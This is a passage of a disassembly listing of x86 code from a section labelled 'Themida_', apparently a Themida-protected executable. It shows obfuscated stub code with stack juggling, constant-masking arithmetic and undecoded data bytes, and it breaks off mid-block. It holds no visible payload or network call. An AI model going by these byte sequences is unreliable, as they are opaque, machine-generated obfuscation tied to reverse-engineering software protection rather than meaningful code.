; ---------------------------------------------------------------------------
		dd 4BF57h, 0C2810000h, 41AF1363h, 0FFA870E9h, 0D8005CFFh
		dd 6602EC83h, 53241489h, 88C4B151h, 0FE8859CFh,	4108E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BFE1:				; CODE XREF: Themida_:005604E4j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5697D7
; ---------------------------------------------------------------------------
		dd 0D1631E35h, 0B9514843h, 5616081h, 760EE981h,	0C801F71Ah
		dd 98C9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C016:				; CODE XREF: Themida_:0056C3C0j
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, ecx
		jmp	loc_570F1D
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 7C2EBFBFh, 0F7814752h, 1EE65892h, 0C265B850h, 0C781F18Dh
		dd 2CF25A49h, 0FF3F2EE9h, 8E1C1FFh, 1E981h, 0C1810000h
		dd 34787996h, 0B491BE56h, 0F1293EA2h, 60E7E95Eh, 0CFFE0000h
		dd 8889F780h, 2434FFFDh, 4C4835Bh, 0FFA85FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C095:				; CODE XREF: Themida_:0056AE01j
		pop	esp
		mov	[esp], edx
		jmp	loc_561BE3
; ---------------------------------------------------------------------------
		dw 6E25h
		dd 55281C1Ah, 0D6229CBDh, 5DE80118h, 6A896857h,	1C890000h
		dd 2D06824h, 1C8B0D1Bh,	0FBE2E924h, 3C8BFFFFh, 4C48324h
		dd 81E38953h, 4C3h, 4B95100h, 29000000h, 0B58E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C0DE:				; CODE XREF: Themida_:0055E52Fj
		pop	eax
		jmp	loc_570A00
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF11F9h
; ---------------------------------------------------------------------------


loc_56C0F4:				; CODE XREF: Themida_:0056280Ej
		mov	dword ptr [edi+24h], 66895156h
		inc	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_561AA6
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 6
		dd 0A35BF57h, 0B8503304h, 16A336DFh, 0FF5250E9h, 0C5815DFFh
		dd 4, 1565E9h, 5DEF3100h, 835FF801h, 48704C0h, 3775E924h
		dd 0E95AFFFFh, 0FFFF54BAh
; ---------------------------------------------------------------------------


loc_56C140:				; CODE XREF: Themida_:005648F6j
		popa
		popf
		jmp	locret_56D046
; ---------------------------------------------------------------------------


loc_56C147:				; CODE XREF: Themida_:00572732j
		mov	esi, 0C8F3CF8h
		xor	esi, edi
		pop	edi
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_568D90
; ---------------------------------------------------------------------------
		dw 0E188h
		dd 0A5E9CF88h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C163:				; CODE XREF: Themida_:0056FFCFj
		sub	ebx, 8453FC18h
		jmp	loc_565EF5
; ---------------------------------------------------------------------------


loc_56C16E:				; CODE XREF: Themida_:0056FE03j
		pop	esp
		shr	ecx, 0
		jmp	loc_56F1AF
; ---------------------------------------------------------------------------
		db 88h
		dd 0B7595AF4h, 0E9E70031h, 0FFFFD818h, 0F680DEF6h, 4EEC0C2h
		dd 8003EEC0h, 0F520DBEEh, 0F7C5805Ah, 0E959E828h, 0FFFFB5A2h
; ---------------------------------------------------------------------------


loc_56C1A0:				; CODE XREF: Themida_:00570285j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55D364
; ---------------------------------------------------------------------------
		db 0B5h, 0C4h, 0E9h
		dd 0FFFFEDAAh, 241CF766h, 1133E99Ch, 8EBFFFFFh,	0E96BFE53h
		dd 0FFFF67F5h
; ---------------------------------------------------------------------------


loc_56C1C4:				; CODE XREF: Themida_:00571457j
		mov	[esp], edx
		jmp	loc_56828C
; ---------------------------------------------------------------------------


loc_56C1CC:				; CODE XREF: Themida_:0055F115j
		xor	eax, 68D505C3h
		add	eax, 114DE94Fh
		shl	eax, 3
		xchg	eax, ebp
		inc	ebp
		jmp	loc_565DD2
; ---------------------------------------------------------------------------
		dd 2D5DE801h, 6C66308Ah, 28FF68h, 240C8900h, 0EA467EB9h
		dd 0AA8BE928h, 0EC81FFFFh, 4, 47DEE9h, 1EDCBB00h, 28B853B9h
		dd 1AC46E1h, 0C3015BD8h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562080
; ---------------------------------------------------------------------------


loc_56C225:				; CODE XREF: Themida_:00565185j
		sub	eax, 11C92AC6h
		add	eax, edi
		add	eax, 11C92AC6h
		jmp	loc_56BFB2
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2BA24h, 0AAE90000h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C243:				; CODE XREF: Themida_:0056B6FEj
		sub	ebx, 0FF25FB7Eh
		jmp	loc_5697AC
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89565B24h, 4C681E6h,	0E9000000h, 3DBBh, 28B7045Bh, 622868D8h
		dd 74E90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C26F:				; CODE XREF: Themida_:00562880j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edi, 39504BEEh
		sub	edi, eax
		add	edi, 39504BEEh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56D111
; ---------------------------------------------------------------------------


loc_56C296:				; CODE XREF: Themida_:0056FC74j
		pop	eax
		add	ebp, 572B7568h
		sub	ebp, 0A9728EAEh
		add	dword ptr [esp+4], 3315136Eh
		sub	dword ptr [esp+4], 6A904E47h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6A904E47h
		sub	dword ptr [esp+4], 3315136Eh
		jmp	loc_565EB5
; ---------------------------------------------------------------------------
		dd 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFF7C08h, 6853565Ah
		dd 4C6A4405h, 1F46685Bh, 3C890000h, 6CDEE924h, 1C89FFFFh
		dd 7FDBE924h, 0E689FFFFh, 4C681h, 0BD550000h, 5E22314Dh
		dd 0FF3F30E9h, 370E68FFh, 34890000h, 699CBE24h,	0EEC16DE4h
		dd 5FE68103h, 81156D7Fh, 6E743ECEh, 81D6F75Bh, 412B6AF6h
		dd 0ABF68107h, 29A7D0A9h, 13E95EF7h, 0D1FFFF35h, 2EBC1EBh
		dd 8E43C381h, 0DF899642h, 0FFDCFCE9h, 4EC83FFh,	0BF243C89h
		dd 6F0F75D4h, 5601EF83h, 5E18BA52h, 0E28145F9h,	925396Ah
		dd 59B0F281h, 0D6896BE6h, 5EF7095Ah, 0E9B8C781h, 0FA09B1A0h
		dd 8B2434FFh, 0C483243Ch, 4C48104h, 0E9000000h,	0FFFF3140h
		dd 8104C483h, 4ECh, 0B5EAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C3A6:				; CODE XREF: Themida_:00571B03j
		pop	eax
		add	eax, 0EB0ED8C8h
		xor	ebx, eax
		pop	eax
		mov	eax, ebx
		jmp	loc_5725CA
; ---------------------------------------------------------------------------


loc_56C3B6:				; CODE XREF: Themida_:00562359j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56C016
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0EAh
		dd 10D47592h, 15AD129h,	5626E9CFh, 0C3810000h, 4, 5D5DE957h
		dd 0EC83FFFFh, 24148904h, 0EB7F36BAh, 15D5E967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C3F2:				; CODE XREF: Themida_:0056B9C8j
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 2DD56387h
		mov	ebp, eax
		pop	eax
		push	edi
		jmp	loc_57272D
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 3Ch
		dd 1D4288Dh, 5826E9CDh,	3CBB0000h, 0F7115D4Dh, 2AE943DBh
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C41F:				; CODE XREF: Themida_:00568DDEj
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		push	eax
		mov	eax, 1
		add	edx, 1C7E50F1h
		push	31C6h
		jmp	loc_562774
; ---------------------------------------------------------------------------


loc_56C442:				; CODE XREF: Themida_:00564417j
		or	ebx, 49FD1137h
		add	ebx, 71654CA8h
		add	edx, ebx
		pop	ebx
		inc	edx
		jmp	loc_56D218
; ---------------------------------------------------------------------------
		align 4
		dd 0E9805BD9h, 59CE30CAh, 0FFEC39E9h, 4C181FFh,	87000000h
		dd 2D5C240Ch, 9047650h,	48BC189h, 54525624h, 4225E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C482:				; CODE XREF: Themida_:0055DBD4j
		sub	ebp, 4
		jmp	loc_56D83B
; ---------------------------------------------------------------------------
		db 0B5h, 38h, 0B4h
		dd 59EC28F3h, 0FF8E38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C499:				; CODE XREF: Themida_:0056D1D4j
		push	ebp
		sub	esp, 4
		jmp	loc_561001
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 3
		dd 0C15E0F0Fh, 0F78102EFh, 75573F2Ah, 0FFBD8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C4B9:				; CODE XREF: Themida_:00569690j
		push	esi
		push	edx
		mov	edx, 231A17C6h
		jmp	loc_56E580
; ---------------------------------------------------------------------------
		db 57h,	55h, 0BDh
		dd 6DD64552h, 0E95DEF89h, 383h
; ---------------------------------------------------------------------------


loc_56C4D4:				; CODE XREF: Themida_:0056EDCEj
		push	esi
		mov	esi, 72983079h
		sub	ebx, esi
		pop	esi
		add	ebx, edi
		add	ebx, 72983079h
		push	dword ptr [ebx]
		sub	dword ptr [esp], 417C1987h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 317B7836h
		shl	ebx, 2
		neg	ebx
		shr	ebx, 4
		add	ebx, 3DDAF795h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		push	ebx
		jmp	loc_55EC06
; ---------------------------------------------------------------------------
		dd 8102EBC1h, 0A836CBCBh, 9D69E928h, 77FFFFFFh,	59669D1Ch
		dd 241CD366h, 0DA3E99Ch, 535AFFFFh, 42474FFh, 24048F5Bh
		dd 240C895Ch, 0FFF8A9E9h, 4C800FFh, 8B222C48h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_55EC27
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD3h, 0FF8FB3E9h, 4302CFFh, 3E8C055h, 655CE9h
		dd 4B85000h, 0E9000000h, 0FFFF2067h, 2C2835Ch, 26B668h
		dd 24148900h, 42474FFh,	833BE95Ah, 0F581FFFFh, 6C373A09h
		dd 2414F755h, 0DAED815Dh, 0E90BB857h, 0FFFF7815h, 4EC81h
		dd 1C890000h, 6694B724h, 66165768h, 0B1240C89h,	42EF80FFh
		dd 0E904B252h, 0FFFFA4F1h
; ---------------------------------------------------------------------------


loc_56C5DC:				; CODE XREF: Themida_:0056233Dj
		xchg	edx, [esp]
		jmp	loc_56ED09
; ---------------------------------------------------------------------------
		dd 0EB3F64BEh, 81D6F72Ch, 77321CCEh, 0AEE8120h,	0E98B58F0h
		dd 0FFFF333Bh
; ---------------------------------------------------------------------------


loc_56C5FC:				; CODE XREF: Themida_:005655BDj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56102B
; ---------------------------------------------------------------------------
		dd 465EE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C60E:				; CODE XREF: Themida_:00569432j
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	145Eh
		jmp	loc_570371
; ---------------------------------------------------------------------------


loc_56C61F:				; CODE XREF: Themida_:0055D9CAj
		pop	eax
		add	esp, 4
		jmp	loc_562A84
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF0CBCE9h, 4CE95CFFh
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C637:				; CODE XREF: Themida_:005601F0j
					; Themida_:00568518j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56ECBB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48304h, 3E0F68h, 4B86E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C65A:				; CODE XREF: Themida_:0056226Ej
		pop	esi
		jmp	loc_566864
; ---------------------------------------------------------------------------
		dd 2AE95053h, 5CFFFFA8h, 52243C89h, 64E9C289h, 29FFFF89h
		dd 0BD552404h, 43135E74h, 4246C29h, 2404815Dh, 12246E1Bh
		dd 0FF5B0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C68D:				; CODE XREF: Themida_:0056803Fj
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 38382FE4h
		or	esi, 39827E56h
		inc	esi
		and	esi, 73DC6C41h
		neg	esi
		jmp	loc_571F87
; ---------------------------------------------------------------------------


loc_56C6B0:				; CODE XREF: Themida_:0056048Cj
		pop	ebp
		push	esi
		mov	esi, 6CF21E24h
		xor	ebp, esi
		mov	esi, [esp]
		jmp	loc_5703D2
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 7
		dd 0FF0D2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C6C9:				; CODE XREF: Themida_:0055DA9Fj
		sub	esp, 4
		jmp	loc_5726AC
; ---------------------------------------------------------------------------
		dd 0FB58B6BEh, 9FD5E90Dh, 3487FFFFh, 27E95C24h,	8900000Ch
		dd 4C781E7h, 81000000h,	4C7h, 4941E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C6FA:				; CODE XREF: Themida_:0055EA74j
		xor	[eax], ecx
		pop	eax
		jmp	loc_571886
; ---------------------------------------------------------------------------


loc_56C702:				; CODE XREF: Themida_:0056FD37j
		xor	[eax], ecx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [edi+24h]
		push	edx
		jmp	loc_566239
; ---------------------------------------------------------------------------


loc_56C717:				; CODE XREF: Themida_:005613E3j
		mov	dh, 89h
		dec	dh
		add	dh, 0Ah
		sub	ah, dh
		pop	edx
		mov	ch, ah
		jmp	loc_5604E1
; ---------------------------------------------------------------------------
		dd 0FF0BC0E9h, 4BE56FFh, 1000000h, 5E042474h, 0E92434FFh
		dd 3CE7h
; ---------------------------------------------------------------------------


loc_56C740:				; CODE XREF: Themida_:00571EE1j
		pop	edx
		jmp	loc_5710B2
; ---------------------------------------------------------------------------


loc_56C746:				; CODE XREF: Themida_:00564266j
		mov	edx, ebx
		pop	ebx
		sub	ebp, 11414E52h
		add	ebp, edx
		add	ebp, 11414E52h
		pop	edx
		pop	edi
		sub	ebp, 4
		jmp	loc_56A25E
; ---------------------------------------------------------------------------
		db 0C0h, 0E5h, 3
		dd 0E9D9C580h, 0FFFF2653h
; ---------------------------------------------------------------------------


loc_56C76C:				; CODE XREF: Themida_:005674B8j
		not	esi
		jmp	loc_5706DA
; ---------------------------------------------------------------------------


loc_56C773:				; CODE XREF: Themida_:0055EA46j
		add	esp, 4
		pop	ecx
		jmp	loc_56FE61
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC6h, 0FFBD0BE9h, 2C8B5BFFh, 433DE924h,	875F0000h
		dd 525C2404h, 7E7480BAh, 7F07E965h, 77FFFFFFh, 0B43E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C7AA:				; CODE XREF: Themida_:0056371Ej
		shr	eax, 6
		add	eax, 74A73B90h
		not	eax
		add	eax, 15C4ECBAh
		sub	ebp, eax
		pop	eax
		push	4CBFh
		mov	[esp], ebx
		jmp	loc_570C11
; ---------------------------------------------------------------------------
aIZsE		db '┴уZИ[E',0
		db 0
; ---------------------------------------------------------------------------


loc_56C7D1:				; CODE XREF: Themida_:0055ED69j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56E775
; ---------------------------------------------------------------------------


loc_56C7E5:				; CODE XREF: Themida_:005727E8j
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	562Ah
		jmp	loc_567999
; ---------------------------------------------------------------------------
		db 55h,	53h, 0E9h
		dd 0FFFF25C6h, 46850h, 34FF0000h, 0E6E95824h, 66000062h
		dd 0E9240C8Bh, 0FFFFE2F5h, 3681B951h, 0D9F72E51h, 0C879F181h
		dd 0CF01D9AEh, 26E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C82D:				; CODE XREF: Themida_:00560393j
		sub	edi, 270A5B00h
		add	edi, ecx
		jmp	loc_56DC94
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0DCBBEB81h, 0E1E9C515h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C847:				; CODE XREF: Themida_:0056DEFFj
		push	edx
		mov	dl, 2Ch
		add	dl, 83h
		inc	dl
		push	ecx
		mov	cl, 4
		jmp	loc_56D396
; ---------------------------------------------------------------------------
		db 81h
		dd 4301D7E7h, 47D7F738h, 81E18951h, 4C1h, 4E98300h, 0E9240C87h
		dd 50FCh, 4C281h, 0EA830000h, 74FF5204h, 148B0424h, 70BFE924h
		dd 489FFFFh, 23E95324h,	50FFFF50h, 0B3208768h, 301E97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C89E:				; CODE XREF: Themida_:0055D8EFj
		push	6A35h
		jmp	loc_56A406
; ---------------------------------------------------------------------------
		dd 8ACAEF81h, 0F901B675h, 0E9CF895Fh, 3C7Ah, 51241C89h
		dd 3E0EEC68h, 5FA3E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C8C6:				; CODE XREF: Themida_:00564456j
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_56553B
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 4E981h, 61E90000h, 80FFFF3Ah,	0CA80B1E2h
		dd 0E1C28057h, 1E13E9h,	5BDF2900h, 815FFA01h, 4ECh, 3F5AE900h
		dd 0C4810000h, 4, 8101C583h, 0F43B5FF5h, 0E9EDD171h, 0FFFF0B07h
; ---------------------------------------------------------------------------


loc_56C920:				; CODE XREF: Themida_:0055DB5Ej
		add	ecx, 3D793C65h
		xor	edx, ecx
		pop	ecx
		add	ebp, edx
		jmp	loc_563AC2
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 34FF2434h, 5144E924h, 0C581FFFFh, 764901B3h
		dd 0ED81DDF7h, 27D571D0h, 5594E953h, 0C7010000h, 74BEC781h
		dd 0B85066CAh, 50E24172h, 5703E8C1h, 996A23BFh,	8EFC115h
		dd 0DFF7D7F7h, 0FFFFEF81h, 0AAE9FFFFh, 46FFFF69h, 5734EE81h
		dd 0F229A68Bh, 0FDBF575Eh, 0E9A8D13Ch, 0FFFF5A2Bh, 6F0814BDh
		dd 3F08E913h, 0EF010000h, 81242C8Bh, 4C4h, 1036E900h, 814F0000h
		dd 0B605A9F7h, 0E3CF810Ah, 4F54180Fh, 8103E7C1h, 0E8014C7h
		dd 5FFE0109h, 8B243487h, 9FE92424h, 0FFFFFFD6h,	815A2434h
		dd 4C4h, 4C28100h, 68000000h, 6373h, 1AC6E9h, 0E9555000h
		dd 0FFFF9DB7h, 0AA600E05h, 2DC80145h, 45AA600Eh, 0EB367B05h
		dd 0DDE95609h, 31FFFFFBh, 56E95BDEh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CA0F:				; CODE XREF: Themida_:00560854j
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5602E1
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0F8h
		dd 68384879h, 471Fh, 0E9243489h, 0FFFF7426h, 662414F6h
		dd 8324148Bh, 0B55102C4h, 38C280E7h, 0EA80EA28h, 261CE938h
		dd 315FFFFFh, 2434FFF0h, 4C4815Eh, 81000000h, 293FDCC6h
		dd 68C60114h, 299Ah, 5C80E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CA75:				; CODE XREF: Themida_:0056A3B2j
		or	ch, bl
		jmp	loc_56A7B7
; ---------------------------------------------------------------------------


loc_56CA7C:				; CODE XREF: Themida_:0056F405j
		pop	eax
		jmp	loc_565476
; ---------------------------------------------------------------------------


loc_56CA82:				; CODE XREF: Themida_:005677E5j
		mov	eax, [esp]
		jmp	loc_5726EC
; ---------------------------------------------------------------------------


loc_56CA8A:				; CODE XREF: Themida_:0055DBEAj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 2ED72FF3h
		xor	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 317439DBh
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, 0B8B6A11Ch
		add	eax, ebp
		pop	ebp
		push	ecx
		jmp	loc_560CE7
; ---------------------------------------------------------------------------


loc_56CAB5:				; CODE XREF: Themida_:0056857Fj
		pop	eax
		push	esi
		mov	esi, 3B6A10E7h
		jmp	loc_570233
; ---------------------------------------------------------------------------
		db 88h,	0E2h, 8Bh
		dd 0C4812404h, 4, 83241C8Bh, 665204C4h,	8A29E952h, 4868FFFFh
		dd 0E9000007h, 0FFFFC64Fh, 0D1D3F743h, 52EBD1E3h, 0E08DDFBAh
		dd 5AD33129h, 815BDD89h, 7E3169C5h, 58F58176h, 811E5627h
		dd 33AC73C5h, 5DE8013Dh, 405h, 0CB27E900h, 815BFFFFh, 823251EBh
		dd 5BDF8907h, 15FF889h,	2434FFC1h, 4C48358h, 0FFA407E9h
		dd 40166FFh, 0FBE99C24h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CB3B:				; CODE XREF: Themida_:00571C95j
		push	7519h
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_5642E3
; ---------------------------------------------------------------------------
		dw 0FE20h
aFAcuaP		db 'f[─Ф·─ф▐',0
		db 0F1h, 5Ah, 50h
		dd 7DE9h, 51BA5200h, 810B090Ch,	0F6F3B3C2h, 22BA52F4h
		dd 0E959FF0Ch, 0FFFF749Bh, 0BF68FE87h, 8900004Dh, 8AE9240Ch
		dd 5FFFFF92h, 2496F781h, 8B5D48BFh, 59E92434h, 58000026h
		dd 5F1C7135h, 58C38936h, 0FFB71DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CBAD:				; CODE XREF: Themida_:0056444Fj
		push	eax
		jmp	loc_56AFB8
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 18F2h, 54242C89h,	95BE565Dh, 0C1474A59h
		dd 0E95506E6h, 0FFFFC172h, 405E089h, 83000000h,	48704C0h
		dd 24248B24h, 9F36E953h, 0CC88FFFFh, 3167E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CBED:				; CODE XREF: Themida_:0055ECB5j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		push	edi
		jmp	loc_563004
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 5D04246Ch,	0BBB8505Eh, 0D14BE457h,	0F37E9E0h
		dd 1C330000h, 24248B24h, 240C8B66h, 4EC81h, 0C890000h
		dd 3B736824h, 24890000h, 5D5CE924h, 87590000h, 895C241Ch
		dd 1BE2434h, 14F1F2Bh, 2C8B5EF0h, 6149E924h, 0C781FFFFh
		dd 4, 8704C783h, 0F2E9243Ch, 1FFFFAAh, 242C8BE8h, 83E08950h
		dd 148904ECh, 6720BA24h, 0EAC16136h, 6EAC107h, 0B6F2814Ah
		dd 1000309h, 2434FFD0h,	0E089505Ah, 405h, 40500h, 4870000h
		dd 0C0835C24h, 24048704h, 4AE95D5Ch, 0C1FFFF06h, 0E58102EDh
		dd 371E565Ch, 4CC4F581h, 0BA52626Eh, 1DF50378h,	0FF9A78E9h
		dd 4BBFFh, 0E9500000h, 19D0h, 1714642Dh, 604E2D35h, 15E93F36h
		dd 8100002Bh, 4F6E242Ch, 815E7C48h, 484F6EC6h, 0E6815B7Ch
		dd 3C0073BFh, 6577F681h, 0E68129D9h, 3F762634h,	0C101EE83h
		dd 0E95504E6h, 0FFFFAE17h, 0F1C6815Fh, 81020014h, 0FF4576EEh
		dd 5EF10122h, 0FFD22AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CD19:				; CODE XREF: Themida_:005680DDj
		add	edi, 2D3672DCh
		jmp	loc_568F28
; ---------------------------------------------------------------------------


loc_56CD24:				; CODE XREF: Themida_:0055D8C5j
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	3DD6h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55E565
; ---------------------------------------------------------------------------
		dw 0A604h
		dd 1DBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_56CD49:				; CODE XREF: Themida_:00569A7Bj
		pop	edi
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 6A9F12CAh
		pop	ecx
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 4F5B2B4Dh
		shr	eax, 2
		sub	eax, 796012EDh
		sub	eax, 39B97E6Dh
		xor	eax, 60BD397Dh
		mov	ebx, eax
		jmp	loc_5711F9
; ---------------------------------------------------------------------------


loc_56CD78:				; CODE XREF: Themida_:0056F3D1j
		sub	esp, 4
		mov	[esp], eax
		push	660B7622h
		jmp	loc_5636EB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 87DA87D3h, 4E7C1D7h,	260EEF81h, 89578049h, 77EAE9E7h
		dd 0D301FFFFh, 0FF6A51E9h, 242C8BFFh, 4C481h, 8D680000h
		dd 89000002h, 0EC83243Ch, 48F5404h, 24048124h, 4, 81243C8Bh
		dd 4C4h, 4C78100h, 52000000h, 4BF7BB53h, 0FBBA3E94h, 813E944Bh
		dd 677504EAh, 81DA292Ah, 677504C2h, 0D7015B2Ah,	8124148Bh
		dd 4C4h, 243C3300h, 33243C31h, 248B243Ch, 0FB7E924h, 0F001FFFFh
		dd 2A5FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56CE15:				; CODE XREF: Themida_:00572B2Aj
		sub	ah, 8Eh
		dec	ah
		jmp	loc_565C90
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	2404315Ch, 0FF04BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CE31:				; CODE XREF: Themida_:00571A5Ej
		pop	esi
		jmp	loc_56F42B
; ---------------------------------------------------------------------------
aHo		db '\h╝=',0
		dd 241C8900h, 84E95250h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CE47:				; CODE XREF: Themida_:0055F603j
		push	edi
		mov	edi, 1B071B08h
		mov	ecx, edi
		jmp	loc_5698BE
; ---------------------------------------------------------------------------
aFyzs		db '(хfYZИ',0
		db 1Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE5E:				; CODE XREF: Themida_:0055F9EDj
		push	ecx
		mov	ecx, 5ACF6D63h
		sub	ebx, ecx
		pop	ecx
		sub	ecx, 795F30FAh
		sub	ecx, ebx
		add	ecx, 795F30FAh
		jmp	loc_569281
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0A7AFE924h, 2BEFFFFh, 52000000h, 5D7DBDBAh, 66CA8161h
		dd 81659466h, 850588CAh, 5E2C11Ch, 892EEA81h, 0D00175B5h
		dd 498E2D5Ah, 0F001658Dh, 0FF7D65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CEB1:				; CODE XREF: Themida_:00568113j
		add	esp, [edx+38h]
		push	ebx
		push	7CCh
		jmp	loc_56F5F1
; ---------------------------------------------------------------------------
		db 89h
		dd 684E9E7h, 5058FFFFh,	2021B8h, 2E8C10Bh, 9A940548h, 0C6317A39h
		dd 8B5B5658h, 0C4812434h, 4, 9F2B951h, 0E9C13BFEh, 0F7E98107h
		dd 0E92CE708h, 0FFFF7F8Bh, 3C96BF57h, 0FD211C73h, 81D5F75Fh
		dd 0B57D5EEDh, 5DE989DCh, 13D9E9h, 0F9876600h, 66DFF766h
		dd 8166F987h, 662ABBC9h, 6E03C181h, 66CA2966h, 0D0016659h
		dd 0C331665Ah, 57C0B70Fh, 0FFE403E9h, 5E6C1FFh,	6F59E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF42:				; CODE XREF: Themida_:0056EA3Ej
		mov	ebp, 1A860A43h
		xor	ebp, 91968212h
		jmp	loc_5689D4
; ---------------------------------------------------------------------------


loc_56CF52:				; CODE XREF: Themida_:00565A94j
		pop	ebp
		dec	edx
		push	esi
		jmp	loc_571FE6
; ---------------------------------------------------------------------------


loc_56CF5A:				; CODE XREF: Themida_:00568573j
		sub	edi, 558D366Eh
		add	edi, 74EE4520h
		add	edi, ecx
		sub	edi, 74EE4520h
		add	edi, 558D366Eh
		push	ebp
